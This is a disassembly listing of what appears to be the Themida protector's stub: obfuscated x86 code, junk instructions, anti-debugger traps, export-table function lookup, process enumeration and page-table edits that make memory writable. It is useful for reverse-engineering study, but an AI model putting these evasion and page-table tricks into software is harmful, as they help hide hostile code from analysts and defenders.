0EBD98B49h, 3F20CD00h, 0B000101h dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h dd 8B09EB00h, 0B8E4EB00h, 0 dd 51006ACFh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 1E986956h, 606F0B8Fh, 38B0Fh, 8B660000h dd 8B0F53DFh, 0 dd 820F615Eh, 1, 6E860FCh, 9D000000h, 4C2DDBF5h, 11E924h dd 34F50000h, 81BF2F55h, 6B32A409h, 48674E85h, 5A83865Fh dd 1DDE8160h, 0F4D947Eh, 85h, 6A616100h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0ECA6C350h dd 1F61F8D5h, 0F416981h, 1D86h, 17810F00h, 0E9000000h dd 12h, 6D9072C2h, 282E00FCh, 21CDD0A1h, 8A5DBC71h, 0F60BBC8h dd 8Bh, 85C76100h, 61A87F0h, 1013Fh, 899A8D8Dh, 6660061Ah dd 8033DE81h, 6850Fh, 95290000h, 6150269h, 218D8961h, 6A061527h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 1C6EC353h, 75BD890Dh, 0C7061510h, 1504CD85h dd 640C06h, 0EE800h, 0CA140000h, 0E17A7E30h, 1A1279DBh dd 955FADE2h, 10E9h, 0C3587500h, 0CF70F089h, 5B9550E2h dd 8FE8A2DCh, 85C75E35h, 6151115h, 0 ; --------------------------------------------------------------------------- jmp loc_5D239B ; --------------------------------------------------------------------------- db 87h, 0EDh db 8Ah dd 0AC8D2CF8h db 23h, 0C3h, 0EAh ; --------------------------------------------------------------------------- loc_5D239B: ; CODE XREF: Themida_:005D238Cj push dword ptr [ebp+6152339h] mov eax, [ebp+61503C5h] pusha mov di, ax pusha push edi pop edi popa popa call dword ptr [ebp+61502C9h] jge loc_5D23C2 mov ebx, [ebp+6151675h] loc_5D23C2: ; CODE XREF: Themida_:005D23B6j push 0 call dword ptr [ebp+6152E21h] mov eax, eax jmp short loc_5D23F9 ; --------------------------------------------------------------------------- dw 7DA7h dd 0A9DBB13Fh, 9635604Ch, 492A51D3h, 0C8D6B0F0h, 7D3814B7h dd 42E0DA5Ah, 0ABFC9EE9h, 0DE83084h, 9DE983DFh, 5794420Dh ; --------------------------------------------------------------------------- daa loc_5D23F9: ; CODE XREF: Themida_:005D23CCj call near ptr loc_5D2408+1 adc dh, [ecx] out 0E2h, eax mov eax, 6B9AECFDh in eax, dx loc_5D2408: ; CODE XREF: Themida_:loc_5D23F9p db 26h movsx esi, dx pop edx jb loc_5D241F pusha mov esi, [ebp+61506C9h] mov ax, 0E1h popa loc_5D241F: ; CODE XREF: Themida_:005D240Dj add edx, 6051h movsx edi, cx sub ebx, ebx mov eax, [ebp+6151799h] loc_5D2430: ; CODE XREF: Themida_:005D249Aj mov ecx, [edx+ebx] sub [ebp+6150DF9h], esi add ecx, 7A0960F8h and edi, [ebp+6150441h] sub ecx, 4FC4061h movsx eax, cx sub ecx, 3530A31Fh mov ax, 6C2Fh push ecx jo $+6 pop dword ptr [edx+ebx] add [ebp+6151A11h], ebx mov esi, [ebp+6152451h] sub ebx, 4 and ah, 0F4h cmp ebx, 0FFFFA060h jnz loc_5D2494 jmp loc_5D24B3 ; --------------------------------------------------------------------------- db 20h, 0D8h, 0B7h dd 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h ; --------------------------------------------------------------------------- loc_5D2494: ; CODE XREF: Themida_:005D247Aj xor [ebp+6151DF1h], ebx jmp loc_5D2430 ; --------------------------------------------------------------------------- db 47h dd 5D4EF3Eh, 6E163460h, 730EFEFEh, 2BCB7564h ; --------------------------------------------------------------------------- mov bh, 0A1h inc ebp loc_5D24B3: ; CODE XREF: Themida_:005D2480j jmp loc_5D25F4 ; --------------------------------------------------------------------------- dd 4Fh dup(0) ; --------------------------------------------------------------------------- loc_5D25F4: ; CODE XREF: Themida_:loc_5D24B3j cmp dword ptr [ebp+6152169h], 1 jz loc_5D2B19 push 0 push eax call sub_5D260C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D260C proc near ; CODE XREF: Themida_:005D2604p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5D260C endp ; --------------------------------------------------------------------------- inc ebx pusha inc edx imul ecx, esp, 99B79F2h mov byte ptr [ebp+61509C5h], 43h pusha jmp loc_5D2637 ; --------------------------------------------------------------------------- dw 0F723h db 0EEh, 43h, 96h ; --------------------------------------------------------------------------- loc_5D2637: ; CODE XREF: Themida_:005D262Dj mov dx, 7BFDh popa call near ptr loc_5D2642+3 cmc loc_5D2642: ; CODE XREF: Themida_:005D263Cp shl byte ptr [ebp+7E9ECh], 1 ; --------------------------------------------------------------------------- dd 57B20000h, 0A5EE4105h, 525050A0h, 6E9h, 445FD600h, 0FDD025Dh dd 0BF666031h, 5A61E848h, 24448B58h, 60525004h, 8B666160h dd 310F61D8h, 11890Fh, 0CE90000h, 0B9000000h, 0BF82E93Eh dd 0B665E7FAh, 5A508EBFh, 0E9008B58h, 11h, 3613D3D8h, 99DC483Eh dd 9FD76E61h, 0C8933734h, 2444892Ah, 0EE904h, 92500000h dd 3FEA119Ah, 7118D484h, 0FC345675h, 0E3B36058h, 6161F960h dd 2811B5FFh, 850F0615h, 7, 66595060h, 8D61C38Bh, 1872BC85h dd 0D0FFF506h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 98C35343h, 391F49C3h, 3DE5A535h, 558589F9h, 0F061524h dd 1585h, 10E900h, 3CB80000h, 7DA6EDEBh, 0F99C8168h, 263002CEh dd 85C642D4h, 61509C5h, 1B810F50h, 60000000h, 13E9h, 93C07D00h dd 3584CEA3h, 4BD64502h, 2BFB300Dh, 8B8D2507h, 0B16861F9h dd 50A4C548h, 0F525052h, 8Ch, 0F310F00h, 87h, 0F585A00h dd 0E9525031h, 13h, 23B21610h, 0CFC68B29h, 944CFD58h, 243CA389h dd 0F342E54h, 0BE931h, 840B0000h, 0EB544F90h, 79C97265h dd 5A585AC0h, 24348158h, 0C68E5E7h, 11B5FFF9h, 60061528h dd 12E8h, 88F07100h, 0A81C9B66h, 481C3B41h, 82257AFAh dd 0E8B26FA3h, 11h, 0A19DF547h, 0F49B7EB3h, 50146F55h dd 9B735357h, 0F95959ABh, 11E961h, 0EAC60000h, 5984722Eh dd 85F4CBE0h, 3BFFA1B1h, 8D4984E2h, 1872BC85h, 16860F06h dd 0E9000000h, 11h, 6D150533h, 0F976DC6Fh, 3DFD3B10h, 89AFB894h dd 0F8D0FF24h, 108C0Fh, 0BE90000h, 34000000h, 0A12492Ch dd 0DABD0998h, 858911C9h, 6151DF9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 1FC35747h, 89BD5E51h, 0E9D5FB3Ah dd 13h, 0A310B152h, 0E6733075h, 18FCA532h, 7A083D09h, 0E9C9114Bh dd 10h, 0DF6BA74h, 244BE2Dh, 0C002AFEh, 0ABD26286h, 0C741D168h dd 0EE99Eh, 50D70000h, 0A0C4430h, 856C6872h, 0C71B45F9h dd 0FE243481h, 606E48E9h, 14E9h, 2A8E7900h, 1B91EBF0h dd 0DAD0D8B3h, 0ABE8EEh, 133577C7h, 87B866B0h, 0B5FF6156h dd 6152811h, 0DE8B60F8h, 14E9h, 0E94FDB00h, 3F9A28E1h dd 20F059F4h, 2398544Eh, 0E9D5DFCFh, 858D616Fh, 61872BCh dd 60D0FFFCh, 91EFDA81h, 0E9524BD4h, 0Ch, 24A44B3Fh, 0B49F573Ch dd 0AA1E2C6h, 8589615Eh, 6150E0Dh, 0C585C6F8h, 50061509h dd 10E9h, 836BB000h, 0B6A87B15h, 9813DD84h, 4353E798h dd 0BD4E6865h, 0CE92604h, 2E000000h, 13C97CC5h, 1BBA73C4h dd 81073B02h, 1F082404h, 0F607198h, 0B70FCBB7h, 0BE961D6h dd 98000000h, 0A1E100B5h, 0D855DF4Fh, 0B5FFCB52h, 6151685h dd 38858DF9h, 6006153Bh, 8E9C781h, 61F82CEFh, 89F5D0FFh dd 1505B585h, 92E9F506h, 60000001h, 0F8C0BF0Fh, 0E9609561h dd 7, 16280DD3h, 6638723Ah, 5061F98Bh, 13E9h, 0A3C4900h dd 7AC51402h, 5256ABE6h, 0CD5499C9h, 0E67762DDh, 0DE995h dd 88640000h, 23EB6A2Ah, 2266B130h, 0F812ECBh, 180h, 0EC8BFC00h dd 0F7816660h, 12E89D59h, 0C8000000h, 55B9FCD4h, 0F7AA0652h dd 9E39266Fh, 5756168Ch, 0CB8B6609h, 0EE96159h, 0AC000000h dd 1871456Fh, 5E1FB864h, 109AEBA3h, 0FCC48352h, 0E8F860F5h dd 0 ; --------------------------------------------------------------------------- pop edx sub edx, 61A8FE5h mov dword ptr [ebp-4], 0 cmp dword ptr [edx+6152169h], 1 jz loc_5D2AC7 push edx push 0 push 0Fh call dword ptr [edx+6152455h] pop edx mov [edx+61A8A89h], eax lea ebx, [edx+61A8A8Dh] push edx mov dword ptr [ebx], 128h push ebx push eax call dword ptr [edx+6151DF9h] pop edx loc_5D2A57: ; CODE XREF: Themida_:005D2A81j ; Themida_:005D2AB5j push edx lea ebx, [edx+61A8A8Dh] push ebx push dword ptr [edx+61A8A89h] call dword ptr [edx+61505B5h] pop edx or eax, eax jz short loc_5D2AC0 lea ebx, [edx+61A8A8Dh] lea edi, [ebx+24h] xor ecx, ecx loc_5D2A7B: ; CODE XREF: Themida_:005D2A8Bj cmp ecx, 104h jz short loc_5D2A57 inc ecx cmp dword ptr [ecx+edi], 4558452Eh jnz short loc_5D2A7B lea esi, [ecx+edi] sub esi, [ebp+0Ch] lea edi, [edx+6151A71h] mov ecx, [ebp+0Ch] rep movsb xor al, al stosb push edx push dword ptr [ebp+8] lea eax, [edx+6151A71h] push eax call dword ptr [edx+6150E0Dh] pop edx or eax, eax jnz short loc_5D2A57 mov dword ptr [ebp-4], 1 jmp short loc_5D2AC7 ; --------------------------------------------------------------------------- loc_5D2AC0: ; CODE XREF: Themida_:005D2A6Ej mov dword ptr [ebp-4], 0 loc_5D2AC7: ; CODE XREF: Themida_:005D2A29j ; Themida_:005D2ABEj popa mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- jmp loc_5D2AE5 ; --------------------------------------------------------------------------- dd 2BA96030h, 0A4C4E6EDh, 0BD8A800Fh, 0E518A81Dh db 32h ; --------------------------------------------------------------------------- loc_5D2AE5: ; CODE XREF: Themida_:005D2ACFj push 0 push esi call sub_5D2AF0 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2AF0 proc near ; CODE XREF: Themida_:005D2AE8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5D2AF0 endp ; --------------------------------------------------------------------------- dd 0AAADBh, 0FE92Ch, 2CE30000h, 460BE84Eh, 9FAB5598h, 739390B8h ; --------------------------------------------------------------------------- pop ebx loc_5D2B19: ; CODE XREF: Themida_:005D25FBj mov edx, edx call sub_5D2B33 pop edx insd out dx, al mov ecx, 14B63847h imul edi, [esi+71h], 96037DE3h inc ecx sbb [edx+1Bh], esp ; =============== S U B R O U T I N E ======================================= sub_5D2B33 proc near ; CODE XREF: Themida_:005D2B1Bp movsx edi, dx pop edx jns loc_5D2B42 pusha movzx esi, si popa loc_5D2B42: ; CODE XREF: sub_5D2B33+4j add edx, 5DBBh mov ecx, 2845F9DAh mov esi, 1740h mov ecx, esi loc_5D2B54: ; CODE XREF: Themida_:005D2BD4j push dword ptr [edx] jnp loc_5D2B60 mov ax, 3A57h loc_5D2B60: ; CODE XREF: sub_5D2B33+23j pop ebx jmp loc_5D2B74 ; --------------------------------------------------------------------------- xchg eax, edx or [edi+0F4286Bh], edx test bl, 0B2h mov byte ptr [eax+70h], 0FFh loc_5D2B74: ; CODE XREF: sub_5D2B33+2Ej add ebx, 5F840192h push edx js $+6 pop ecx sub ebx, 717347E8h mov eax, 5E6123EAh add ebx, 4EDAE5Fh mov edi, edx mov [edx], ebx call sub_5D2BA6 ja short near ptr loc_5D2BE0+1 sub ebx, ebp fcomp dword ptr [eax-2ED462D9h] sub_5D2B33 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D2BA6 proc near ; CODE XREF: sub_5D2B33+64p mov edi, 4C2194F6h pop ecx sub edx, 4 call near ptr loc_5D2BC7+1 xchg dh, [ebx+56F95455h] sal byte ptr [edx], 0Fh dec esi mov [ebp-7BF2A836h], edx and dh, [ecx] xchg eax, edi loc_5D2BC7: ; CODE XREF: sub_5D2BA6+9p ; Themida_:005D2C47j and edi, [ecx+439B403Fh] sub_5D2BA6 endp ; sp-analysis failed pop eax sub esi, 1 jnz loc_5D2B54 mov eax, 17791D0Ch int 3 ; Trap to Debugger loc_5D2BE0: ; CODE XREF: sub_5D2B33+69j adc ecx, [edi-544099E1h] sub edi, [eax+21F2E963h] ; CODE XREF: Themida_:005D2BECj jno short near ptr loc_5D2BE6+5 push es inc edx xor eax, 70F87A81h push eax cld xlat test [ebx], edx xor dword ptr [eax-7Bh], 0F1F0336Dh std shl eax, 1 add eax, 884A1DF9h in eax, 1Eh icebp xor edx, [ecx+3Ch] mul dword ptr [eax+edx*2] xor edi, [ecx] mov ah, 9Eh sal byte ptr [esi+53DA0E78h], 1 db 36h push eax xor esp, [esi-25279F3Eh] push esi ror dword ptr [esi+3545213Ch], cl in al, 3Ah aam 3Dh jb short loc_5D2C66 push eax push ebp mov eax, 7562AFEFh xor eax, 534E3353h out dx, eax sub ah, [eax+2E3D5B8h] das push esi push ebp jo short near ptr loc_5D2BC7+2 cmp al, 0A3h cmp byte ptr [esi+5FE263A2h], 50h popa sal dword ptr [esi], 1 push eax xor ebx, [ebp+edx-43EB0FF6h] add al, 17h and esi, [esp+edx+502F9717h] loc_5D2C66: ; CODE XREF: Themida_:005D2C2Fj xor ecx, ecx ja short loc_5D2C6C lock stosd loc_5D2C6C: ; CODE XREF: Themida_:005D2C68j mov eax, ds:0D762612h popf mov bl, 0E4h mov al, 0DDh mov dh, 2Eh movsb dec edx xor eax, 3353B441h daa xor eax, 0A5F2CA30h in eax, 16h cdq movsd out dx, al pop ebx add dword ptr [edi+edx+4134E7CCh], 26h aas cmp bl, dh xor [ebp+esi-107B4CB0h], bl fcomi st, st(3) iret ; --------------------------------------------------------------------------- dd 93335038h, 0E60CAB21h, 0D9A6E4Ch, 37C256BEh, 0BD77EAF6h dd 1F6D515Dh, 5B3BA588h, 2E465033h, 909EEDB6h, 0BD335620h dd 6F60002Ch, 7649E8F5h, 0BCBA5035h, 9A2643B0h, 0E4ADCDB8h dd 0F4CC5622h, 2EB0086Eh, 0CF265398h, 0B4242435h, 7649E866h dd 0BCBA5035h, 9A2643B0h, 0E9BECDB8h, 0F4CC5622h, 163C086Eh dd 0C9335030h, 0B904288Bh, 0F9C1DB69h, 0D16530F5h, 9C33503Ah dd 0B8A969AFh, 11B86918h, 83BB4B3h, 9376CFDBh, 0E43EB96Fh dd 485A5035h, 0DD21BB6Eh, 2839D6D1h, 2FE53CB6h, 0B689CDB8h dd 16BE562Fh, 0CF29D6A2h, 0BEFCDB62h, 2BE4DB67h, 395980CAh dd 9C30B866h, 15135035h, 7BBA0BF6h, 0D7B25411h, 0C92B5411h dd 0B7705035h, 0A1FF28F6h, 87550F92h, 5C38A4F8h, 4E53D43Ah dd 27595035h, 9330B867h, 93135035h, 0B0BA0AF6h, 36B25411h dd 392B5411h, 0CE715035h, 7C0A12F6h, 0BABEE99Bh, 95261FABh dd 2164505Fh, 0E4335036h, 2DF00F15h, 3D172CBCh, 981714B4h dd 4E335020h, 0BCF00772h, 9335B974h, 9AED5035h, 9905703Dh dd 7233538Dh, 0C3B80635h, 0FCD0AF6Ch, 4AD0D153h, 0BABE3181h dd 9529C1F7h, 4FA4D5B8h, 0E459562Fh, 7230B866h, 62135035h dd 0C0BA0BF6h, 0AB25411h, 27265411h, 0C0705035h, 36E20EF6h dd 0EBF35BE5h, 723313B1h, 3BB85F35h, 17335035h, 0D0AEDDE2h dd 2835457Ah, 933351B2h, 0C88BAC35h, 8E335035h, 71DB0235h dd 19335035h, 1569936Fh, 0CF377461h, 3D377471h, 0D1335035h dd 884A9367h, 4E517EAFh, 0A6D7EAFEh, 0DACC1A63h, 0DF4CDB8h dd 4E59562Fh, 2730B866h, 0C8135035h, 95BA0BF6h, 0A0B25411h dd 72275411h, 6A705035h, 88DA7CF6h, 33335035h, 0D70255B2h dd 0C7CFD1FDh, 883BAAB3h, 0CADE132Eh, 0FFC30AC6h, 23B5C7B0h dd 0CD333A33h, 4E3353DDh, 0E46A7035h, 0B77FD96Ch, 0ED77D131h dd 0E4334531h, 0B1621135h, 36CAB358h, 9C3340BEh, 4E38B935h dd 0DB075035h, 3148C72Ch, 0DB5841E8h, 0EBE3AF51h, 723354B1h dd 628C3635h, 93F35B44h, 4E330FB1h, 70333A35h, 933353DDh dd 0A6C7035h, 0C04FD96Ah, 5677D131h, 39334831h, 5F641735h dd 58C36F03h, 25B25F67h, 18335035h, 3B236CEh, 0CB93BB4h dd 3DADCDB8h, 0B2555620h, 9C30E8E6h, 4E595035h, 2730B865h dd 0CB135035h, 8DBA08F6h, 0A0B25411h, 72275411h, 69735035h dd 63CB09F6h, 9E8C5FD6h, 72333A76h, 933353DDh, 0A6E7035h dd 0C05FD968h, 5677D131h, 39334631h, 5F661535h, 0C3344ACCh dd 3DA2E088h, 0DBBEDD33h, 71354AA0h, 6E780C48h, 76BAD506h dd 0F6185620h, 0BE31B9F4h, 29C1F7BAh, 0A4D5B895h, 59562F4Fh dd 30B866E4h, 13503572h, 830BF662h, 0A4F305E9h, 0CE8C08Bh dd 0E5000000h, 38DBDA37h, 9DE3516Ah, 5EE8FB4Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 4CC35040h, 8BD4F9F2h dd 0BF5E50C3h, 5A3C2F55h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0C4D8B7C3h, 560CB026h dd 0AAD98166h, 83D38B79h, 1508F5BDh, 9750006h, 3ADBD83h dd 74000615h, 8B535019h, 47AB8C0h, 85890000h, 61502A1h dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h dd 47AB853h, 85890000h, 61502A1h, 0A7A69D8Dh, 0D3FF0617h dd 0A9B6585Bh, 66E9C08Bh, 60000002h, 0F6D98C66h, 840F04C1h dd 35h, 0B5FF016Ah, 6151685h, 72BC858Dh, 0D0FF0618h, 14ED8589h dd 0FE8B0615h, 680CEFC1h, 20060000h, 26A006Ah, 0D6857h dd 95FF0001h, 61514EDh, 32E9h, 0C585C600h, 56061509h, 0C530DF68h dd 11B5FFA9h, 8D061528h, 1872BC85h, 89D0FF06h, 15301985h dd 75858D06h, 5006151Eh, 56A406Ah, 1995FF56h, 61061530h dd 0C3h, 2 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5D30D1: ; DATA XREF: Themida_:0057BF70o push edx mov edx, esp pusha mov eax, [edx+8] mov [ebp+61A969Eh], eax mov eax, [edx+0Ch] mov [ebp+61A9696h], eax mov eax, [edx+10h] mov [ebp+61A969Ah], eax lea esi, [ebp+61A96D4h] lea eax, dword_5B8EA1[ebp] call eax popa pop edx retn 0Ch ; --------------------------------------------------------------------------- mov esi, [ebp+61A969Eh] mov eax, [ebp+61A9696h] cmp dword ptr [ebp+61A969Ah], 0 jz loc_5D3123 mov [esi], eax jmp locret_5D3125 ; --------------------------------------------------------------------------- loc_5D3123: ; CODE XREF: Themida_:005D3116j mov [esi], al locret_5D3125: ; CODE XREF: Themida_:005D311Ej iret ; --------------------------------------------------------------------------- align 4 dd 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_5D312E: ; DATA XREF: Themida_:0057AB90o push edx mov edx, esp pusha mov eax, [edx+8] mov [ebp+61A969Eh], eax lea esi, [ebp+61A9725h] lea eax, dword_5B8EA1[ebp] call eax popa pop edx mov eax, [ebp+61A969Eh] retn 4 ; --------------------------------------------------------------------------- dd 969E858Bh, 8B061Ah, 969E8589h, 0CF061Ah db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5D3167 proc near ; DATA XREF: Themida_:0057A79Co pusha mov [ebp+61A96FBh], esi mov [ebp+61A96F7h], eax lea eax, [ebp+61505E1h] mov eax, [eax+44h] mov [ebp+61A9734h], eax lea esi, [ebp+61A976Ah] lea eax, dword_5B8EA1[ebp] call eax popa mov eax, [ebp+61A96FBh] retn sub_5D3167 endp ; --------------------------------------------------------------------------- mov ebx, [ebp+61A96F7h] movzx eax, word ptr [ebx+3Ch] add ebx, eax mov ebx, [ebx+78h] add ebx, [ebp+61A96F7h] mov esi, [ebx+24h] add esi, [ebp+61A96F7h] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [ebp+61A96F7h] add esi, [ebp+61A96F7h] cld or ecx, 0FFFFFFFFh loc_5D31CE: ; CODE XREF: Themida_:005D31ECj ; Themida_:005D31FBj inc ecx mov ebx, [ebp+61A96FBh] mov edx, [edi] add edx, [ebp+61A96F7h] add edi, 4 loc_5D31E0: ; CODE XREF: Themida_:005D31F4j mov al, [edx] test al, al jz loc_5D31F9 cmp al, [ebx] jnz loc_5D31CE inc ebx inc edx jmp loc_5D31E0 ; --------------------------------------------------------------------------- loc_5D31F9: ; CODE XREF: Themida_:005D31E4j cmp al, [ebx] jnz loc_5D31CE pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [ebp+61A96F7h] mov [ebp+61A96FBh], eax mov esi, eax mov ecx, esi mov eax, ecx cmp dword ptr [ebp+61A9734h], 0C0300000h jnz loc_5D323A shr eax, 14h and eax, 0FFCh jmp loc_5D3242 ; --------------------------------------------------------------------------- loc_5D323A: ; CODE XREF: Themida_:005D3227j shr eax, 12h and eax, 3FF8h loc_5D3242: ; CODE XREF: Themida_:005D3235j mov edi, [ebp+61A9734h] or dword ptr [edi+eax], 6 mov edx, [edi+eax] mov eax, edx and al, 81h cmp al, 81h mov eax, ecx jz locret_5D32B4 cmp dword ptr [ebp+61A9734h], 0C0300000h jnz loc_5D327A shr eax, 0Ah and eax, 3FFFFCh jmp loc_5D3282 ; --------------------------------------------------------------------------- loc_5D327A: ; CODE XREF: Themida_:005D3267j shr eax, 9 and eax, 7FFFF8h loc_5D3282: ; CODE XREF: Themida_:005D3275j sub eax, 40000000h or dword ptr [eax], 6 test dword ptr [eax], 80h jz locret_5D32B4 cmp dword ptr [ebp+61A9734h], 0C0300000h jz locret_5D32B4 and eax, 3FF8h mov eax, [eax-3FA00000h] or dword ptr [eax], 6 locret_5D32B4: ; CODE XREF: Themida_:005D3257j ; Themida_:005D3290j ... iret ; --------------------------------------------------------------------------- lea eax, [ebp+61A96A2h] mov [ebp+6152541h], eax lea eax, [ebp+61A9738h] mov [ebp+6150D6Dh], eax lea eax, [ebp+61A96FFh] mov [ebp+6151161h], eax jmp loc_5D34A6 ; --------------------------------------------------------------------------- dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 align 10h dd 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 30000h, 14h dup(0) dd 8C20000h, 75736600h, 0FE80h, 11h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5D34A6: ; CODE XREF: Themida_:005D32D9j jmp loc_5D37FE ; =============== S U B R O U T I N E ======================================= sub_5D34AB proc near ; DATA XREF: Themida_:0057BF9Co push ebp call $+5 pop ebp sub ebp, 61A9A82h pusha mov dword ptr [ebp+61A99CFh], 0 cmp word ptr [esi], 0A166h jnz loc_5D34DD mov dword ptr [ebp+61A99D3h], 6 jmp loc_5D3501 ; --------------------------------------------------------------------------- loc_5D34DD: ; CODE XREF: sub_5D34AB+1Dj lea eax, [ebp+61A99D7h] push eax lea eax, [ebp+61A9A27h] push eax push esi push 0 call sub_5D3510 add esp, 10h and eax, 0FFh mov [ebp+61A99D3h], eax loc_5D3501: ; CODE XREF: sub_5D34AB+2Dj popa add esi, [ebp+61A99D3h] mov eax, [ebp+61A99CFh] pop ebp retn sub_5D34AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5D3510 proc near ; CODE XREF: sub_5D34AB+43p var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_61A99C7 = dword ptr 61A99CFh push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_5D353D mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_5D3549 ; --------------------------------------------------------------------------- loc_5D353D: ; CODE XREF: sub_5D3510+16j and [ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_5D3549: ; CODE XREF: sub_5D3510+28j push ebx push esi push edi loc_5D354C: ; CODE XREF: sub_5D3510+91j ; sub_5D3510+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5D355F: ; CODE XREF: sub_5D3510+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 61A9B39h lea ebp, [ebp+61A99AFh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5D358C inc cl cmp cl, 0Bh jb loc_5D355F loc_5D358C: ; CODE XREF: sub_5D3510+6Bj cmp cl, 0Bh jz loc_5D35E9 cmp al, 66h jnz loc_5D35CA cmp [ebp+var_5], 0 jnz loc_5D354C cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_5D35C2 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_5D354C ; --------------------------------------------------------------------------- loc_5D35C2: ; CODE XREF: sub_5D3510+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_5D35CA: ; CODE XREF: sub_5D3510+87j cmp al, 67h jnz loc_5D354C cmp [ebp+var_6], 0 jnz loc_5D354C xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_5D354C ; --------------------------------------------------------------------------- loc_5D35E9: ; CODE XREF: sub_5D3510+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5D3615 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5D361A ; --------------------------------------------------------------------------- loc_5D3615: ; CODE XREF: sub_5D3510+E4j movzx edi, al shr edi, 1 loc_5D361A: ; CODE XREF: sub_5D3510+100j push ebp call $+5 pop ebp sub ebp, 61A9BF1h lea ebp, [ebp+61A98AFh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_5D379C mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_5D36E0 dec ecx jz loc_5D36C3 dec ecx jnz loc_5D3733 cmp [ebp+var_2], 0 jnz loc_5D372F cmp [ebp+var_5], 0 jz loc_5D36A2 mov byte ptr [ebp+arg_0+3], 2 loc_5D36A2: ; CODE XREF: sub_5D3510+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 61A9C7Dh mov [ebp+arg_61A99C7], 1 pop ebp jmp loc_5D3733 ; --------------------------------------------------------------------------- loc_5D36C3: ; CODE XREF: sub_5D3510+16Dj cmp [ebp+var_2], 0 jnz loc_5D370D cmp [ebp+var_5], 0 jz loc_5D370D mov byte ptr [ebp+arg_0+3], 2 jmp loc_5D370D ; --------------------------------------------------------------------------- loc_5D36E0: ; CODE XREF: sub_5D3510+166j cmp [ebp+var_2], 0 jnz loc_5D3726 cmp [ebp+var_5], 0 jz loc_5D3715 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5D370D mov byte ptr [ebp+arg_0+3], cl loc_5D370D: ; CODE XREF: sub_5D3510+1B7j ; sub_5D3510+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5D3733 ; --------------------------------------------------------------------------- loc_5D3715: ; CODE 